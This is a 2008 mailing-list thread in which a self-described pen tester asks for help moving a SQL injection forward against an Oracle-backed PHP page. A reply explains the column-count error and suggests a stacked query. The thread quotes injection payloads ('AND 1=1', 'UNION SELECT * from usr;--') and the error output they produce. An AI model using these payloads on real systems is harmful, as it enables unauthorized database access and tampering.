From: Clone (c70n3@yahoo.co.in)
Date: Mon Jan 21 2008 - 15:31:25 EST
Well I already tried
Id=90; select * from usr
I got following
OCIStmtExecute: ORA-00911: invalid character in
dbs.inc on line 44
BTW how serious is the issue? Can an attacker delete
or modify database using the current issue?
--- Joe Yong <justasqlguy@gmail.com> wrote:
> It just looks like your query is invalid.
>
> While SQL injection is easier to perform than trying
> to bring some
> strong encryption, it still requires that your SQL
> is well formed.
>
> In your case, your input string probably does
> something along the
> lines of SELECT col1, col2, FROM Tbl_Foo WHERE
> item_id=:cItemID
>
> AND 1=1 is the most commonly cited example for SQL
> Injection because
> it will work in almost any situation including the
> above. However, it
> doesn't really get you anywhere interesting, takes a
> little more than
> that to have fun. Unfortunately, lots of people who
> write or talk
> about SQL Injection neglect to mention that you
> really do need to know
> what you're writing (just like script kiddies).
>
> Your statement, SELECT * FROM usr probably returns a
> lot more columns
> than your first query so the UNION will fail.
> Nothing wrong with the
> vulnerability. Just regular SQL syntax error. :-)
> Try something like
>
> ; SELECT * FROM usr
>
> Bottom line is, you gotta have well formed SQL.
>
>
> joe.
>
>
> On 1/17/08, Clone <c70n3@yahoo.co.in> wrote:
> > Hey List
> >
> > I am pen testing a web app that supplies sql
> > parameters on the URL something like
> >
> > http://x.y.z.a/item.php?Id=90
> >
> > I did blind sql injection by adding AND 1=1 to
> confirm
> > the vulnerability.
> >
> > Now when I do
> >
> > http://x.y.z.a/item.php?Id=90'
> >
> > I get
> >
> > ociparse() [function.ociparse]: OCIParse:
> ORA-01756:
> > quoted string not properly terminated in item.php
> on
> > line 312
> >
> > Then I tried (after confirming presence of usr
> table
> > name)
> >
> >
>
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20*%20from%20usr;--
> >
> > and I get the error
> >
> > ociexecute() [function.ociexecute]:
> OCIStmtExecute:
> > ORA-01789: query block has incorrect number of
> result
> > columns in dbs.inc on line 44
> >
> > I know one valid user account in the oracle DB.
> >
> > Any idea what's the best strategy to move forward?
> >
> > I'm not getting any further from here so far.
> >
> > Any advise / helpo would be much appreciated.
> >
> > Cheers'
> >
> >
> >
> > 5, 50, 500, 5000 - Store N number of mails in
> your inbox. Go to
>
http://help.yahoo.com/l/in/yahoo/mail/yahoomail/tools/tools-08.html
> >
> >
> >
>
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